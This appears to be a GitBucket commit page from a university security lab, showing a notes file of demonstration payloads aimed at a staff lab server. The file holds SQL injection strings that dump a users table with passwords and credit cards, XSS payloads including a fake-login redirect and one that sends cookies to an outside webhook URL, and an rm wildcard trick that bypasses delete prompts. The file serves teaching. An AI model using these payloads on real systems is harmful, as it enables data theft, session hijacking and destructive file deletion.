GitBucket
4.21.2
Toggle navigation
Snippets
Sign in
Files
Branches
1
Releases
Issues
Pull requests
Labels
Priorities
Milestones
Wiki
Forks
mark.george
/
jetty
Browse code
Merge branch 'master' of https://isgb.otago.ac.nz/infosci/git/COMP210/lab06
master
commit
41e2b380d989f8d438c5cac96b389b0aaf573d07
2 parents
fe26816
+
408089c
Mark George
authored
on 6 Sep 2021
Patch
Showing
1 changed file
injections.txt
Ignore Space
Show notes
View
injections.txt
// basic injection ' or 1=1;-- // can we exfil data? ' union select 'WOOHOO'; -- // get entire users table ' union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name; --
http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? ' union select 'WOOHOO'; -- // get entire users table ' union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // exfil cookies <script>window.location='https://webhook.site/c3300dea-ce9d-4860-879f-6320d4c24c43?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor // wildcard expansion flaw (assumes default rm has prompt-per file turned on via alias) touch a b c d rm * should see that prompt is require per-file touch a b c d touch -- '-f' rm * should see that the prompt per-file is no longer needed demonstrate the expansion via the tab key
Show line notes below